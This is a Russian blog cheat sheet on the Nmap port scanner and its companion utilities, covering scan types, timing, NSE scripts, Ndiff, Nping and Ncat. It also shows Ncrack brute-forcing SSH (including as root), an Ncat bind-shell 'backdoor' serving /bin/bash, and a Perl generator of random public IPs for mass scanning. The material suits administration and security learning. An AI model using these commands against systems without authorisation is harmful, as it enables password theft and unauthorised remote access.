Памятка по использованию Nmap и сопутствующих утилит
Данный пост представляет собой небольшую шпаргалку по сканеру портов Nmap, а также утилитам, идущим с ним в комплекте – Ncrack, Ncat, Ndiff и Nping. Уметь пользоваться Nmap полезно не только злобным хакерам, но и системным администраторам, а также devops. Как еще, например, проверить, не осталось ли в системе лишних открытых портов? Или избавиться от сигнатур, по которым можно удаленно определить используемую на сервере ОС? Как обычно, здесь мы рассмотрим самые основные параметры и флаги, а более подробную информацию всегда можно найти в man.
Далее, если для выполнения команды требуются права суперпользователя, она выполняется через sudo. Если такие права не требуются, sudo не используется.
Установка Nmap в Debian/Ubuntu:
sudo apt-get install nmap
Установка утилиты Ncrack (на момент написания поста она находится в альфе и потому не содержится в deb-пакете):
wget https://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gz
tar -xvzf ncrack-0.4ALPHA.tar.gz
cd ncrack-0.4ALPHA
./configure
make
sudo ckeckinstall
Сканируем 1000 наиболее часто используемых портов:
nmap 12.34.56.78
Указываем список портов:
nmap -p22,80,100-200 12.34.56.78
Сканирование подсети:
nmap -p22 52.8.254.0/24
Сканирование списка хостов из файла:
nmap -p22 -iL iplist.txt
Генерировать списки случайных IP можно, например, таким скриптом на Perl:
#!/usr/bin/perl
use strict;
use warnings;
my $cnt = 0;
my %filter;
my $gen_number = shift;
if(!$gen_number) {
die "Usage: $0 <number>";
}
while($cnt < $gen_number) {
my $x = 1 + int(rand(239));
my $y = int(rand(256));
my $z = int(rand(256));
my $w = 1 + int(rand(254));
# see https://en.wikipedia.org/wiki/Reserved_IP_addresses
if(($x == 10) || ($x == 127)) { next; }
if(($x == 100) && ($y >= 64) && ($y <= 127)) { next; }
if(($x == 169) && ($y == 254)) { next; }
if(($x == 172) && ($y >= 16) && ($y <= 31)) { next; }
if(($x == 192) && ($y == 0) && ($z == 0)) { next; }
if(($x == 192) && ($y == 0) && ($z == 2)) { next; }
if(($x == 192) && ($y == 88) && ($z == 99)) { next; }
if(($x == 192) && ($y == 168)) { next; }
if(($x == 198) && ($y == 18)) { next; }
if(($x == 198) && ($y == 19)) { next; }
if(($x == 198) && ($y == 51) && ($z == 100)) { next; }
if(($x == 203) && ($y == 0) && ($z == 113)) { next; }
if(($x >= 224) && ($x <= 239)) { next; }
my $ip = "$x.$y.$z.$w";
if($filter{$ip}) { next; }
$filter{$ip} = 1;
print "$ip\n";
$cnt++;
}
Сканирование методом установки TCP соединения:
nmap -p22,80 -sT 12.34.56.78
SYN-сканирование:
sudo nmap -p22,80 -sS 12.34.56.78
Прочие виды сканирования: FIN, Xmas Tree и NULL:
sudo nmap -p22,80 -sF 12.34.56.78
sudo nmap -p22,80 -sX 12.34.56.78
sudo nmap -p22,80 -sN 12.34.56.78
Не определять доменные имена для сканируемых IP:
nmap -n -p22 12.34.56.78
Показывать причину, по которой определенный порт считается «открытым»:
nmap -p22,80,100-200 --reason 12.34.56.78
Определение версии сервисов:
nmap -p22,80,100-200 -sV 12.34.56.78
Определение операционной системы:
sudo nmap -O 12.34.56.78
Пингануть хосты для проверки, онлайн ли они, но не сканировать порты:
nmap -sn 12.34.56.0/24
Сканировать хосты, даже если они не отвечают на пинги:
nmap -p22,80 -Pn 12.34.56.78
Считать, что хост онлайн, если он отвечает на SYN, посланный на порт 443:
nmap -p22,80,443 -PS 443 12.34.56.0/24
Сканирование UDP (работает медленнее обычного сканирования TCP):
sudo nmap -sU -p123 tick.ucla.edu
Ограничиваем время, которое можно потратить на один хост:
nmap -p22 --host-timeout 1m 12.34.56.78
Управление степенью параллелизма:
nmap -p22 --max-parallelism 2 12.34.56.78
nmap -p22 --min-parallelism 2 12.34.56.78
Делаем паузу прежде, чем перейти к следующему хосту:
nmap -p22 --scan-delay 5s 12.34.56.0/24
Ограничение на число пакетов, посылаемых в секунду:
nmap -p22 --min-rate 1 --max-rate 100 12.34.56.78
Использование NSE (Nmap Scripting Engine):
# обновляем базу данных скриптов
sudo nmap --script-updatedb
# натравляем все скрипты из группы default:
nmap --script default 12.34.56.78
# все скрипты, название которых начинается на http
nmap --script http-* 12.34.56.78
Ломаем SSH с помощью Ncrack:
ncrack ssh://12.34.56.78
ncrack --user root ssh://12.34.56.78
Fun fact! Существуют и другие утилиты для подбора паролей, заметно отличающиеся между собой поддерживаемыми протоколами и опциями. В частности, стоит обратить внимание на утилиты hydra и medusa.
Указываем списки логинов и паролей для Ncrack:
ncrack -U users.txt -P passwords.txt ...
Выводим больше отладочной информации, включая подбираемые логины и пароли:
ncrack -d7 ...
Используем Ncrack совместно с Nmap:
nmap 12.34.56.78 -oX scan.xml
ncrack -iX scan.xml
Использование Ndiff:
ndiff scan1.xml scan2.xml
Пример использования Nping:
sudo nping -c2 -p80 --tcp 12.34.56.78
Примеры использования Ncat:
ncat host 123 < send.txt
ncat -l > received.txt
Использование Ncat в качестве бэкдора:
ncat -k -l -p 3344 -e /bin/bash
ncat localhost 3344
Ncat для пробрасывания портов:
ncat -l 10.1.2.3 --keep-open 2222 \
--sh-exec "ncat 192.168.2.15 22"
ssh user@10.1.2.3 -p 2222
Ncat для расшифровки SSL:
ncat -l localhost --keep-open 8080 \
--sh-exec "ncat --ssl encrypted.google.com 443"
С сохранением трафика в файл:
ncat -l localhost --keep-open 8080 --hex-dump dump.log \
--sh-exec "ncat --ssl encrypted.google.com 443"
Такая вот незамысловатая шпаргалка. Если вам есть, что к ней добавить, не стесняйтесь воспользоваться комментариями.